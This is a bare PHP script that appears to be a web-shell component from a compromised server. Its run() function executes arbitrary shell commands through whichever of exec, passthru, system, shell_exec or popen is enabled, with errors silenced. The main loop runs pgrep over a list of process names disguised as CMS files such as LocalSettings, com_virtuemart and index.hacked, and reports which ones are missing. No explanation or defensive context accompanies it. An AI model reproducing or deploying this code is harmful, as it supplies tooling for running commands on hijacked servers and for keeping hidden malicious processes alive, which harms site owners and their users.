<?php   $files = ['modifier.markup','criminel','smf20.inc','uninstall','cat_lang_edit','filterinput','index.bak','QuickForm','lang.en.home.inc','config_database','patfactory','headquarters','busi_accept04','actionscript3','pages_link','rsform.html','cache_smilies','auctionapproval','index.hacked','Content.inc','xoopstree','udb_base.inc','theme_blog','kettenrad','sendactivation','publicrating','cust_report06','a_menu_generico','LocalSettings','com_virtuemart']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }